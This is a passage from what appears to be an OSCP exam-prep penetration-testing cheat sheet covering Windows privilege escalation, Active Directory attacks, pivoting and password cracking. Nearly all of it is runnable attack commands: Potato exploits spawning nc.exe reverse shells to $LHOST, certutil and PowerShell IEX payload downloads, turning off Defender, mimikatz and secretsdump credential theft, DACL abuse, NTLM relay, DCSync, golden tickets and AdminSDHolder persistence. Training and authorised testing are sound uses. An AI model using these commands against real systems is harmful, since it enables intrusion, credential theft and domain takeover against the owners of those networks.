SeLoadDriverPrivilegeLoad malicious driver
SeLoadDriverPrivilege     -> load vulnerable signed driver (Capcom.sys) -> SYSTEM
SeManageVolumePrivilege   -> arbitrary file write as SYSTEM (SeManageVolumeExploit.exe)
SeTakeOwnershipPrivilege  -> take ownership of a SYSTEM binary/file, then replace/read it
SeDebugPrivilege          -> procdump/mimikatz into lsass; inject into SYSTEM process
SeRestorePrivilege        -> overwrite protected files (utilman.exe / sethc.exe sticky-keys trick)
SeImpersonate/SeAssignPrimaryToken -> Potato   SeBackup -> reg save / NTDS

4.3 SeImpersonate / SeAssignPrimaryToken -> SYSTEM (Potato family)

The most common find - service accounts (IIS app pools, MSSQL service, custom wamp\apache-style accounts) hold SeImpersonatePrivilege by default. The Potato attacks abuse DCOM/RPC to trigger an auth callback from a SYSTEM-owned COM server, then impersonate the resulting SYSTEM token. Pick by Windows version:

Windows versionTool
Server 2008 / 2008 R2 / 2012 / 2012 R2 / 2016 (pre-May 2020)JuicyPotato
Server 2019 / 2022 / Windows 10 1809+PrintSpoofer or GodPotato
Modern with no SpoolerRoguePotato (needs external OXID resolver)
.\PrintSpoofer64.exe -i -c cmd                      # Win10/2016/2019 - reliable
.\PrintSpoofer64.exe -c "C:\rev.exe"
.\GodPotato-NET4.exe -cmd "cmd /c whoami"           # broad coverage incl 2019/2022
.\JuicyPotatoNG.exe -t * -p C:\rev.exe              # newer JuicyPotato
.\JuicyPotato.exe -l 1337 -p C:\rev.exe -t * -c {CLSID}   # 2016/older (Jeeves pattern)
.\RoguePotato.exe -r $LHOST -e "C:\rev.exe" -l 9999

JuicyPotato workflow (the detailed older-Windows path)

:: Stage tools in a writable directory
certutil -urlcache -split -f http://%LHOST%/Juicy.exe Juicy.exe
certutil -urlcache -split -f http://%LHOST%/nc.exe nc.exe
whoami /priv
:: Dry-run: confirm CLSID maps to a SYSTEM-owned COM server
.\Juicy.exe -z -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
:: Fire
.\Juicy.exe -l 1337 ^
  -c "{4991d34b-80a1-4291-83b6-3328366b9097}" ^
  -p C:\Windows\System32\cmd.exe ^
  -a "/c C:\Users\Public\nc.exe -e cmd.exe %LHOST% 1339" ^
  -t *

Quoting gotchas (the bit that wastes time): -a takes a single argument string - if your command has spaces or its own flags, quote the whole thing or JuicyPotato gags on the first inner - (Bad: -a nc.exe -e cmd.exe <IP> 1339 vs Good: -a "/c nc.exe -e cmd.exe <IP> 1339"). The spawned program inherits a working directory you don't control (usually system32), so use absolute paths inside -a. -t * tries CreateProcessWithTokenW then CreateProcessAsUser - leave it unless one path is failing for a reason.

Working CLSID quick-reference: BITS {4991d34b-80a1-4291-83b6-3328366b9097} works on Server 2008/2008 R2/2012 (the original ohpe default); on Server 2016 many BITS CLSIDs fail, use one from the ohpe Server 2016 list. Always -z test first if unsure.

Failure modes: Wrong Argument: - = unquoted -a swallowing the next flag. Authentication error / no callback = CLSID doesn't resolve to a SYSTEM service on this OS version (try another). Callback arrives but no shell = spawned process cwd issue (absolute paths) or nc.exe not staged. Token user not SYSTEM in -z test = wrong CLSID, move on. PrintSpoofer/GodPotato are the modern alternatives (GodPotato works through Server 2022).

4.4 SeBackupPrivilege / SeRestorePrivilege

# Backup SAM+SYSTEM then secretsdump offline:
reg save HKLM\SAM sam.hive ; reg save HKLM\SYSTEM system.hive
# DC: copy NTDS.dit via diskshadow/robocopy then secretsdump
diskshadow /s script.txt    # create shadow, robocopy ntds.dit + SYSTEM
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL

4.5 Service misconfigurations

# Unquoted service path
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i """"
# "C:\Program Files\My App\svc.exe" unquoted + writable dir -> drop "Program.exe"
sc qc <svc>
# Weak service permissions (can change binPath)
accesschk.exe /accepteula -uwcqv "Authenticated Users" *      # or use winPEAS output
sc config <svc> binpath= "C:\rev.exe" ; sc stop <svc> ; sc start <svc>
# Writable service binary -> replace the exe (Eloquia/Failure2Ban pattern), restart

4.6 AlwaysInstallElevated

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# both = 1 ->
msiexec /quiet /qn /i evil.msi     # msfvenom -f msi -p windows/x64/shell_reverse_tcp...

4.7 Scheduled tasks / startup / autoruns

schtasks /query /fo LIST /v | findstr /i "TaskName Run Author"
# writable task binary or script run as SYSTEM -> replace
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run    # autorun + writable target

4.8 DLL hijacking

An app loads a DLL from a writable/missing path -> drop a malicious DLL (msfvenom -f dll). Find with ProcMon (offline analysis) or known-missing-DLL lists.

4.9 Credential hunting (always do this)

findstr /si password *.txt *.ini *.config *.xml
type C:\Windows\Panther\Unattend.xml ; type C:\Windows\system32\sysprep\*.xml
reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword  # autologon
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"     # saved proxy/host
cmdkey /list ; netsh wlan show profile name=X key=clear
reg save hklm\sam sam ; reg save hklm\system system   # -> secretsdump
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam"

4.10 Privileged group membership -> SYSTEM/DA

Check whoami /groups, net localgroup:

# Backup Operators -> SeBackupPrivilege: read SAM+SYSTEM (or NTDS on DC) then secretsdump LOCAL
reg save hklm\sam sam ; reg save hklm\system system
# DnsAdmins -> load malicious DLL into dns.exe (runs SYSTEM on the DC):
dnscmd <dc> /config /serverlevelplugindll \\$LHOST\share\evil.dll
sc.exe \\<dc> stop dns & sc.exe \\<dc> start dns
# Server Operators -> change a service binPath, start it (SYSTEM):
sc config <svc> binPath= "C:\rev.exe" & sc stop <svc> & sc start <svc>
# Print Operators -> SeLoadDriverPrivilege -> load Capcom.sys driver -> SYSTEM
# Account Operators -> create/modify non-protected accounts (add to nested groups)
# Hyper-V Admins, Event Log Readers (grep logs for creds), DPAPI/cred vaults

4.11 PowerUp (classic automated PE checks)

. .\PowerUp.ps1
Invoke-AllChecks
Invoke-ServiceAbuse -Name 'vulnsvc' -Command "net localgroup administrators me /add"
Write-ServiceBinary ; Install-ServiceBinary ; Restart-Service vulnsvc
Get-ModifiableServiceFile ; Get-UnquotedService ; Find-PathDLLHijack

4.12 Other Windows wins

  • NTFS ADS (Jeeves pattern): dir /R, more < file:stream, type ... > file:hidden.
  • machineKey / cookie forge (Hercules pattern): leaked web.config machineKey -> forge __VIEWSTATE (ysoserial.net) -> RCE.
  • Runas with saved creds: runas /savecred /user:admin C:\rev.exe.
  • UAC bypass only if you're admin-but-not-elevated (fodhelper, etc.).

4.13 Getting payloads to run (AV / AMSI / Defender)

Get-MpComputerStatus ; Get-MpPreference | select Exclusion*   # status + exclusion dirs (drop payload there)
# AMSI: in-memory download dodges on-disk scanning:
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/x.ps1')
# Signatured binary: rename it, recompile your own, or run from an AV exclusion path.
# If you're already admin: Set-MpPreference -DisableRealtimeMonitoring $true

05. Active Directory

The 40-point set - prioritize it. You start WITH a low-priv domain credential ("assumed breach"). Goal: pivot user -> host -> DC. Two exam constraints frame everything here: Responder LLMNR/NBT-NS poisoning is BANNED (analyze mode only), and Metasploit can't be used for pivoting (the set spans three hosts, so MSF would touch more than one target). Land the AD set first or early.

5.1 Enumerate the domain (credentialed)

# NetExec (nxc) is the swiss-army knife - sweep everything first
nxc smb $IP -u user -p pass --shares --users --groups --pass-pol --loggedon-users
nxc smb $IP -u user -p pass --rid-brute 10000      # enumerate users by RID when --users is thin
nxc smb $IP -u user -p pass --sessions --computers
nxc ldap $IP -u user -p pass --query "(objectClass=user)" ""   # raw LDAP queries
# Impacket / ldap dumps
impacket-GetADUsers -all target.htb/user:pass -dc-ip $IP        # users + last logon + pwd-last-set
ldapdomaindump -u 'target.htb\user' -p pass $IP -o ldd/         # HTML/JSON of the whole dir
enum4linux-ng -A -u user -p pass $IP
# PowerView (Windows shell)
. .\PowerView.ps1
Get-DomainUser  | select samaccountname,description,memberof
Get-DomainGroup "Domain Admins" | Get-DomainGroupMember
Get-DomainComputer -Properties dnshostname,operatingsystem
Find-LocalAdminAccess                                          # where current user is local admin
Find-DomainUserLocation                                        # where high-value users have sessions

Always read user description fields and every readable SMB share - creds hide in both. Re-enumerate (and re-collect BloodHound) as each NEW identity you compromise; visibility and attack paths change with each cred.

5.2 BloodHound + Cypher

# Collect (Linux, remote)
bloodhound-python -u user -p pass -d target.htb -ns $IP -c all --zip
nxc ldap $IP -u user -p pass --bloodhound -c all --dns-server $IP
# Collect (Windows, on a foothold)
.\SharpHound.exe -c All --zipfilename bh.zip

BloodHound CE runs in Docker (Neo4j + the web UI); import the zip, then mark every compromised principal "Owned" and run "Shortest Path from Owned Principals" before touching any other view. Prioritize edges that are actionable (AdminTo, CanRDP, CanPSRemote, HasSession, GenericAll, GenericWrite, WriteDacl, WriteOwner, ForceChangePassword, AddKeyCredentialLink, AddAllowedToAct) over plain group membership. Re-import after each new owned account - the owned-set drives the pathing. Useful pre-built queries: Shortest Paths to Domain Admins, Find Principals with DCSync Rights, Find AS-REP Roastable Users, Find Kerberoastable Members of High-Value Groups, Shortest Path to Unconstrained Delegation.

Custom Cypher worth keeping (CE uses system_tags CONTAINS "owned" for the owned set, legacy used owned:true):

// Shortest path from any owned principal to Domain Admins
MATCH p=shortestPath((u {system_tags:"owned"})-[*1..]->(g:Group)) WHERE g.name STARTS WITH "DOMAIN ADMINS@" RETURN p
// Kerberoastable users with a path to a high-value group
MATCH p=shortestPath((u:User {hasspn:true})-[*1..]->(g:Group {highvalue:true})) RETURN p
// AS-REP roastable (no pre-auth)
MATCH (u:User {dontreqpreauth:true,enabled:true}) RETURN u.name
// Accounts with PASSWORD_NOT_REQUIRED (often empty password)
MATCH (u:User {enabled:true,passwordnotreqd:true}) RETURN u.name
// Principals that can DCSync the domain
MATCH (n)-[:GetChanges|GetChangesAll|DCSync]->(d:Domain) RETURN n.name
// Unsupported / legacy OS computers (soft targets for local privesc)
MATCH (c:Computer {enabled:true}) WHERE c.operatingsystem =~ '(?i).*(2003|2008|xp|vista|7| me).*' RETURN c.name,c.operatingsystem
// Where is the current user local admin
MATCH p=(u:User {name:"[email protected]"})-[:AdminTo|MemberOf*1..]->(c:Computer) RETURN p

5.3 No-cred / pre-auth footholds

rpcclient -U "" -N $IP                         # null session
#   inside: enumdomusers ; queryuser 0x<rid> ; enumdomgroups ; querygroupmem 0x<rid>
#           getdompwinfo (lockout policy!) ; lsaenumsid ; lookupnames administrator ; netshareenum
rpcclient -U "target.htb\guest%" $IP           # guest session
nxc smb $IP -u '' -p '' --rid-brute            # RID cycle for usernames over a null session
kerbrute userenum -d target.htb --dc $IP users.txt   # valid usernames, no creds (Kerberos pre-auth timing)
# pre-Windows-2000 / blank machine passwords (lowercased computer name as pass):
nxc smb $IP -u 'OLDPC$' -p 'oldpc' --local-auth
# anonymous LDAP (sometimes leaks users + descriptions)
ldapsearch -x -H ldap://$IP -b "DC=target,DC=htb" "(objectClass=user)" sAMAccountName description

Parse harvested descriptions for passwords; feed valid usernames into AS-REP roast and spraying below.

5.4 Roasting and spraying

# AS-REP roast (DONT_REQ_PREAUTH) - usernames only, no creds needed
impacket-GetNPUsers target.htb/ -dc-ip $IP -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt
nxc ldap $IP -u user -p pass --asreproast asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt

# Kerberoast (any valid domain cred -> SPN accounts' TGS hashes)
impacket-GetUserSPNs target.htb/user:pass -dc-ip $IP -request -outputfile kerb.txt
nxc ldap $IP -u user -p pass --kerberoasting kerb.txt
hashcat -m 13100 kerb.txt rockyou.txt

# Password spray - ALWAYS pull the lockout policy first (--pass-pol / getdompwinfo)
nxc smb $IP -u users.txt -p 'Autumn2025!' --continue-on-success
kerbrute passwordspray -d target.htb --dc $IP users.txt 'Welcome1'
# Reuse a single cracked/known password across all users (credential stuffing)
nxc smb $IP -u users.txt -p 'CrackedPass!' --no-bruteforce --continue-on-success

Lockout discipline: if the policy shows a threshold (e.g. 5 bad attempts / 30 min), spray ONE password per round and wait out the window. A locked-out exam account is hours lost.

5.5 ACL / DACL abuse (the BloodHound edges)

This is the heart of the assumed-breach chain - BloodHound hands you the edge, this section is what to type. Map the edge to the abuse:

Edge / rightOver a...Abuse
ForceChangePassworduserReset their password (no knowledge of old one)
GenericAll / GenericWriteuserSet an SPN -> targeted Kerberoast, or write KeyCredentialLink (shadow creds)
GenericAll / AddMember / AddSelfgroupAdd yourself / a controlled account to the group
GenericAll / GenericWritecomputerShadow credentials, or configure RBCD (5.7)
WriteDaclobject / domainGrant yourself GenericAll (or DCSync rights on the domain)
WriteOwnerobjectMake yourself owner, then grant GenericAll
AddKeyCredentialLinkuser / computerShadow credentials -> PKINIT (5.6)
AddAllowedToActcomputerRBCD takeover (5.7)
GenericAll on GPO / WriteGPLinkGPO/OUPush a malicious GPO to linked objects (immediate-task / script)

Linux-first tooling (Kerberos auth via ccache when needed: -k):

# ForceChangePassword
bloodyAD --host dc.target.htb -d target.htb -u me -p pass set password victim 'NewPass123!'
net rpc password "victim" "NewPass123!" -U "target.htb"/"me"%"pass" -S $IP
# Add yourself to a group (instant WinRM if the group nests into Remote Management Users)
bloodyAD --host dc.target.htb -d target.htb -u me -p pass add groupMember "Target Group" me
# Targeted Kerberoast (GenericWrite on a user): write an SPN, roast, then clean up
bloodyAD --host dc.target.htb -d target.htb -u me -p pass set object victim serviceprincipalname -v 'fake/svc'
impacket-GetUserSPNs target.htb/me:pass -dc-ip $IP -request-user victim -outputfile kerb.txt
bloodyAD --host dc.target.htb -d target.htb -u me -p pass set object victim serviceprincipalname -v ''
# WriteDacl -> grant yourself GenericAll, or DCSync on the domain
impacket-dacledit -action write -rights FullControl -principal me -target victim 'target.htb/me:pass'
impacket-dacledit -action write -rights DCSync -principal me -target-dn 'DC=target,DC=htb' 'target.htb/me:pass'
bloodyAD --host dc.target.htb -d target.htb -u me -p pass add dcsync me
# WriteOwner -> take ownership, then grant rights
impacket-owneredit -action write -new-owner me -target victim 'target.htb/me:pass'
impacket-dacledit -action write -rights FullControl -principal me -target victim 'target.htb/me:pass'
# Re-enable a disabled account you now control
bloodyAD --host dc.target.htb -d target.htb -u me -p pass remove uac victim -f ACCOUNTDISABLE

Windows / PowerView equivalents:

$cred = New-Object System.Management.Automation.PSCredential('target\me',(ConvertTo-SecureString 'pass' -AsPlainText -Force))
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Credential $cred
Add-DomainGroupMember -Identity 'Target Group' -Members me -Credential $cred
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/svc'} -Credential $cred   # then Rubeus kerberoast /user:victim
Add-DomainObjectAcl -TargetIdentity 'DC=target,DC=htb' -PrincipalIdentity me -Rights DCSync   # WriteDacl on domain

Persistence note (handy on long AD chains, document it in the report): GenericAll on AdminSDHolder propagates to every protected group via SDProp roughly hourly - bloodyAD ... add genericAll 'CN=AdminSDHolder,CN=System,DC=target,DC=htb' me.

5.6 Shadow Credentials (msDS-KeyCredentialLink -> PKINIT)

Surface: you hold GenericAll/GenericWrite/AddKeyCredentialLink over a user or computer, the DC is Server 2016+, and AD CS with PKINIT is present. You write a certificate to the target's msDS-KeyCredentialLink, then authenticate as that principal via Kerberos PKINIT and recover its NT hash - no password reset (quieter, reversible).

# certipy - one-shot (adds the key, authenticates, returns the NT hash)
certipy shadow auto -u [email protected] -p pass -account victim -dc-ip $IP
# bloodyAD - emits PFX + password + NT hash
bloodyAD --host dc.target.htb -d target.htb -u me -p pass add shadowCredentials victim
# pywhisker + PKINITtools (manual, when the above are unavailable)
pywhisker -d target.htb -u me -p pass --target victim --action add        # -> victim.pfx + pass
gettgtpkinit.py target.htb/victim -cert-pfx victim.pfx -pfx-pass <pass> victim.ccache
export KRB5CCNAME=victim.ccache
getnthash.py -key <AS-REP-key> target.htb/victim                          # NT hash from the PKINIT TGT

Computer-account variant: writing shadow creds to a computer object gives you that machine account's hash/TGT - frequently the cleanest GenericAll-on-computer takeover when RBCD is fiddly.

5.7 Resource-Based Constrained Delegation (RBCD)

Surface: GenericWrite/GenericAll/AddAllowedToAct over a computer object. You point that computer's msDS-AllowedToActOnBehalfOfOtherIdentity at an account you control, then use S4U to mint a ticket impersonating any user (e.g. Administrator) to a service on the target.

# 1. Need a controlled account WITH an SPN. If MachineAccountQuota > 0 (default 10), make one:
nxc ldap $IP -u user -p pass -M maq                          # check the quota
impacket-addcomputer target.htb/user:pass -dc-ip $IP -computer-name 'EVIL$' -computer-pass 'CompPass123!'
# 2. Configure RBCD on the victim computer
impacket-rbcd -delegate-from 'EVIL$' -delegate-to 'VICTIM$' -action write target.htb/user:pass -dc-ip $IP
bloodyAD --host dc.target.htb -d target.htb -u user -p pass add rbcd 'VICTIM$' 'EVIL$'   # alt
# 3. S4U: impersonate Administrator to a service on VICTIM
impacket-getST -spn cifs/victim.target.htb -impersonate administrator 'target.htb/EVIL$:CompPass123!' -dc-ip $IP
# 4. Use the ticket
export KRB5CCNAME=administrator@[email protected]
impacket-psexec -k -no-pass victim.target.htb

If MachineAccountQuota is 0, use any existing account you control that has an SPN (or add one to a user you own), rather than creating a computer.

5.8 Active Directory Certificate Services (AD CS)

If a CA is present (certipy find shows a Certificate Authority, or nxc ldap $IP -u user -p pass -M adcs lists one), enumerate templates for misconfigurations. AD CS is "privilege escalation as a service" - a single vulnerable template often jumps a low-priv user straight to domain compromise.

# Enumerate (kali package is certipy-ad; binary is certipy)
certipy find -u [email protected] -p pass -dc-ip $IP -vulnerable -stdout
certipy find -u [email protected] -p pass -dc-ip $IP -vulnerable -enabled    # text + JSON + BloodHound files

ESC1 (template lets the enrollee supply the SAN, has a client-auth EKU, and Domain Users can enroll) - the bread-and-butter case, and now in PEN-200 scope:

# Request a cert AS the administrator by setting the UPN/SAN
certipy req -u [email protected] -p pass -dc-ip $IP -target dc.target.htb \
  -ca 'TARGET-CA' -template 'VulnTemplate' -upn [email protected]
# Authenticate with the issued PFX -> recover NT hash AND a TGT
certipy auth -pfx administrator.pfx -dc-ip $IP
# -> use the NT hash for PtH, or KRB5CCNAME=administrator.ccache for psexec -k -no-pass

Other ESCs (rarer on the exam, but certipy find -vulnerable flags them):

ESC2  Any-Purpose EKU template            -> request, use cert broadly (similar flow to ESC1)
ESC3  Enrollment Agent EKU                -> request on-behalf-of another user
ESC4  Write access to a template          -> certipy template ... rewrite it into ESC1, then ESC1 it
ESC6  EDITF_ATTRIBUTESUBJECTALTNAME2 on CA -> any template becomes SAN-spoofable (request with -upn)
ESC8  HTTP web-enrollment + NTLM relay    -> see 5.9 (coerce a DC, relay to /certsrv, get a DC cert)
ESC11 ICPR RPC enrollment + NTLM relay    -> certipy relay -target rpc://CA ...

ESC4 rewrite example: certipy template -u [email protected] -p pass -template VulnTemplate -save-old (makes it ESC1), exploit as ESC1, then restore with the saved config.

5.9 Coercion and NTLM relay

Exam caveat first: Responder LLMNR/NBT-NS/mDNS poisoning is banned. Coercion (forcing a specific machine to authenticate to you) plus ntlmrelayx is a distinct mechanism that PEN-200's AD CS material covers, but the rules around relay/coercion shift between exam versions - confirm against the current OffSec Exam Guide before relying on it on test day. mitm6 (DHCPv6 spoofing) is broadly disruptive and best avoided on the exam.

Coercion tools (force the DC/target to auth to $LHOST):

printerbug.py    target.htb/user:pass@$DC_IP $LHOST       # MS-RPRN spooler
PetitPotam.py    -u user -p pass $LHOST $DC_IP            # MS-EFSRPC
coercer coerce   -u user -p pass -t $DC_IP -l $LHOST     # tries many methods
dfscoerce.py     -u user -p pass $LHOST $DC_IP            # MS-DFSNM

Relay targets (run ntlmrelayx first, then coerce):

# Relay to LDAPS -> add a computer (for RBCD) or dump the directory
impacket-ntlmrelayx -t ldaps://$DC_IP --add-computer 'EVIL$' 'CompPass123!' -smb2support
impacket-ntlmrelayx -t ldaps://$DC_IP --escalate-user me -smb2support      # grant DCSync to 'me'
# Relay coerced DC auth to AD CS web enrollment (ESC8) -> DC certificate
impacket-ntlmrelayx -t http://ca.target.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
certipy relay -target 'http://ca.target.htb' -template DomainController     # certipy's built-in relay
# Then: certipy auth -pfx dc.pfx -dc-ip $IP  ->  DC hash  ->  DCSync
# Relay to SMB on another host where the coerced account is local admin
impacket-ntlmrelayx -t smb://$OTHER_HOST -smb2support -c "whoami"

5.10 Credential dumping and lateral movement

# Dump secrets (needs admin on the target)
impacket-secretsdump 'target.htb/user:pass@'$IP
impacket-secretsdump -hashes :NThash 'target.htb/user@'$IP
nxc smb $IP -u user -p pass --sam --lsa
# Pass-the-Hash / Pass-the-Password lateral exec
nxc smb <subnet> -u user -H NThash                       # spray the hash across hosts ("Pwn3d!")
impacket-psexec  target.htb/user@$IP -hashes :NThash     # noisy, drops a service binary
impacket-wmiexec target.htb/user@$IP -hashes :NThash     # quieter, no binary on disk
impacket-smbexec / impacket-atexec / impacket-dcomexec   # alternates if psexec/wmiexec are blocked
evil-winrm -i $IP -u user -H NThash                      # if WinRM open
# Overpass-the-hash / Pass-the-Ticket
impacket-getTGT target.htb/user -hashes :NThash ; export KRB5CCNAME=user.ccache
impacket-psexec -k -no-pass target.htb/[email protected]

5.11 To Domain Admin / DC

# DCSync (needs Replication-Get-Changes[-All] rights / DA-equivalent ACL)
impacket-secretsdump -just-dc target.htb/user:pass@$IP                 # all domain hashes
impacket-secretsdump -just-dc-user krbtgt target.htb/user:pass@$IP     # just krbtgt
nxc smb $IP -u user -p pass -M ntdsutil                                # if already admin
# Once you hold Administrator / DA NT hash:
impacket-psexec -hashes :<admin_nthash> administrator@<dc_ip>
# Tickets (usually overkill for the exam - prefer DCSync -> admin hash -> psexec)
#   Golden: forge a TGT from the krbtgt hash. Silver: forge a service TGS from a service-account hash.
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <SID> -domain target.htb administrator

5.12 Mimikatz / Rubeus credential extraction (admin/SYSTEM on the host)

:: mimikatz
privilege::debug
sekurlsa::logonpasswords        :: plaintext + NTLM from LSASS
sekurlsa::ekeys                 :: kerberos keys -> PtT / overpass-the-hash
lsadump::sam                    :: local SAM   |   lsadump::cache (cached domain creds)
lsadump::dcsync /user:target\krbtgt
vault::cred  /  sekurlsa::dpapi :: stored / DPAPI creds
:: Offline (SeDebug): procdump -accepteula -ma lsass.exe l.dmp -> pypykatz lsa minidump l.dmp
:: Rubeus (preferred when AV eats mimikatz)
Rubeus.exe asktgt   /user:victim /rc4:<NThash> /ptt
Rubeus.exe kerberoast /nowrap
Rubeus.exe asreproast /nowrap
Rubeus.exe s4u /user:EVIL$ /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/victim /ptt
Rubeus.exe monitor /interval:5        :: harvest TGTs from coerced unconstrained-delegation auths

5.13 Hunt creds across the domain (after a foothold)

Snaffler.exe -s -o snaffler.log              # hunt shares for creds/keys/configs (Windows)
nxc smb <subnet> -u u -p p -M spider_plus    # spider readable shares (JSON of everything readable)
manspider <subnet> -u u -p p -c password     # grep file CONTENTS across all shares
# GPP cached creds in SYSVOL (Groups.xml etc.) -> decrypt the static-key AES blob:
nxc smb $IP -u u -p p -M gpp_password ; gpp-decrypt <cpassword>
# LAPS local-admin passwords (if your account can read them):
nxc ldap $IP -u u -p p -M laps
# gMSA managed-password blob (ReadGMSAPassword edge):
nxc ldap $IP -u u -p p --gmsa
gMSADumper.py -u u -p p -d target.htb

5.14 Delegation deep-dive

# Unconstrained (computer/DC with TRUSTED_FOR_DELEGATION): coerce a privileged auth, capture its TGT
#   on the unconstrained host: Rubeus.exe monitor ; then printerbug/PetitPotam the DC to it -> DC TGT
# Constrained (TRUSTED_TO_AUTH_FOR_DELEGATION + msDS-AllowedToDelegateTo): S4U impersonation
impacket-getST -spn cifs/victim.target.htb -impersonate administrator 'target.htb/svc:pass' -dc-ip $IP
# RBCD: see 5.7 (write-access-on-computer path)

Find delegation in BloodHound ("Shortest Path to Unconstrained Delegation") or via LDAP: Get-DomainComputer -Unconstrained / Get-DomainUser -TrustedToAuth. Note scope before sinking time - unconstrained printerbug chains are usually beyond core OSCP.

5.15 Domain trusts (brief, mostly beyond core scope)

nxc ldap $IP -u user -p pass -M enum_trusts
impacket-GetADUsers ... # enumerate the trusting domain once you have a foothold
# Cross-domain: SID history / krbtgt of a child for an enterprise-admin golden ticket.

Flag, don't chase, unless an exam box explicitly bridges two domains.

5.16 AD glue / troubleshooting

  • Kerberos clock skew (KRB_AP_ERR_SKEW): sudo ntpdate $DC or sudo rdate -n $DC; certipy/impacket also accept the host's time. Off by more than 5 minutes and every Kerberos op fails.
  • Always add the DC + domain FQDN to /etc/hosts; Kerberos needs names, not IPs (dc.target.htb, target.htb).
  • Ticket reuse: export KRB5CCNAME=user.ccache then -k -no-pass on impacket, --use-kcache on nxc, -k on bloodyAD/certipy.
  • --local-auth on nxc for local (non-domain) SAM accounts.
  • Over a pivot, run all of this through proxychains (-sT for any nmap), since MSF can't pivot here.
  • MSSQL linked-server double-hop (POO pattern): EXEC ('xp_cmdshell ...') AT [LINKED].

5.17 OSCP-scope note (current)

Core drills, expect to use these: AS-REP roast, Kerberoast (incl. targeted), password spray, the full ACL/DACL edge set (ForceChangePassword / GenericAll / GenericWrite / WriteDacl / WriteOwner / AddMember), shadow credentials, RBCD, PtH/PtT lateral movement, secretsdump, DCSync. PEN-200's 2024 refresh folded AD CS into the syllabus, so treat ESC1 as in-scope and know the certipy find -> req -> auth flow cold. AD CS relay paths (ESC8/ESC11) and coercion+ntlmrelayx are taught but sit in a grey zone with the no-Responder-poisoning rule - confirm the current Exam Guide. Generally above scope (skip unless a box forces it): RODC golden tickets, KeyList attacks, the more advanced ESCs, unconstrained-delegation printerbug chains, and cross-trust hopping. (That's the exam line specifically; HTB/CTF work runs well past it.)


06. Pivoting and Tunneling

Needed to reach AD hosts behind a foothold and internal-only services. Metasploit is NOT allowed for pivoting - use the below.

6.1 ligolo-ng (recommended - clean, fast, full subnet access)

# On YOUR box (proxy/server):
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert                 # listener on :11601
# after agent connects, add route to the internal subnet:
sudo ip route add 10.10.20.0/24 dev ligolo
# On the FOOTHOLD host (agent):
./agent -connect $LHOST:11601 -ignore-cert
# In ligolo console: session ; start    -> reach 10.10.20.0/24 directly with ANY tool
# Expose a local listener to the agent network (for reverse shells back):
#   listener_add --addr 0.0.0.0:443 --to 127.0.0.1:443

6.2 chisel (SOCKS proxy via HTTP - Dante pattern)

# Your box (server):
./chisel server -p 8000 --reverse
# Foothold (client) -> reverse SOCKS5:
./chisel client $LHOST:8000 R:1080:socks
# Then proxychains everything (/etc/proxychains4.conf -> socks5 127.0.0.1 1080):
proxychains nxc smb 10.10.20.0/24 -u user -p pass
proxychains nmap -sT -Pn 10.10.20.5
# Forward a single internal port out instead of SOCKS:
./chisel client $LHOST:8000 R:3389:10.10.20.5:3389

6.3 SSH tunneling (when you have SSH creds/keys)

ssh -L 8080:127.0.0.1:8080 user@$IP        # local: hit target's internal :8080 on your 8080
ssh -R 9001:127.0.0.1:9001 user@$IP        # remote: expose your service to target
ssh -D 1080 user@$IP                       # dynamic SOCKS -> proxychains
ssh -fN -L ...                             # background, no shell
ssh -L 3389:10.10.20.5:3389 user@$IP       # reach a 3rd host through the SSH host

6.4 sshuttle (VPN-like, no proxychains needed)

sshuttle -r user@$IP 10.10.20.0/24 --ssh-cmd "ssh -i key"

6.5 Windows pivot

:: No nmap on the pivot host? scan from PowerShell (LOLBin):
powershell -c "1..1024 | % { if((New-Object Net.Sockets.TcpClient).ConnectAsync('10.10.20.5',$_).Wait(200)){\"$_ open\"} }"
Test-NetConnection -Port 445 10.10.20.5
:: plink (CLI PuTTY) reverse tunnel when no OpenSSH:
plink.exe -ssh -l kali -pw PASS -R 127.0.0.1:3389:10.10.20.5:3389 $LHOST
:: netsh portproxy:
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.10.20.5
:: socat relay (if available)
socat TCP-LISTEN:8080,fork TCP:10.10.20.5:80

6.6 proxychains tips

Use -sT (TCP connect) with nmap over proxychains; SYN scans don't work. Set proxy_dns off for speed; lower timeouts in the conf if scans crawl.


07. Password Attacks and Cracking

7.1 Identify the hash

hashid '<hash>' ; hash-identifier ; nth '<hash>'      # name-that-hash

A mode mismatch quietly wastes an entire crack run - identify first.

7.2 hashcat (RTX 3070 / CUDA)

hashcat -m <mode> hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m <mode> hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat --show -m <mode> hashes.txt         # display cracked

Common modes: 0 MD5, 100 SHA1, 1400 SHA256, 1700 SHA512, 1800 sha512crypt ($6$), 500 md5crypt ($1$), 1600 Apache $apr1$, 3200 bcrypt, 1000 NTLM, 5600 NetNTLMv2, 13100 Kerberoast TGS, 18200 AS-REP, 16500 JWT, 13400 KeePass (kdbx), 13000 RAR5, 17200/13600 ZIP.

7.3 john

john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt
# format conversions (the *2john tools):
ssh2john id_rsa > h ; keepass2john f.kdbx > h ; zip2john f.zip > h
office2john doc.docx > h ; pdf2john f.pdf > h ; gpg2john ...
john --wordlist=rockyou.txt h

7.4 Online / service brute (hydra) - mind lockouts

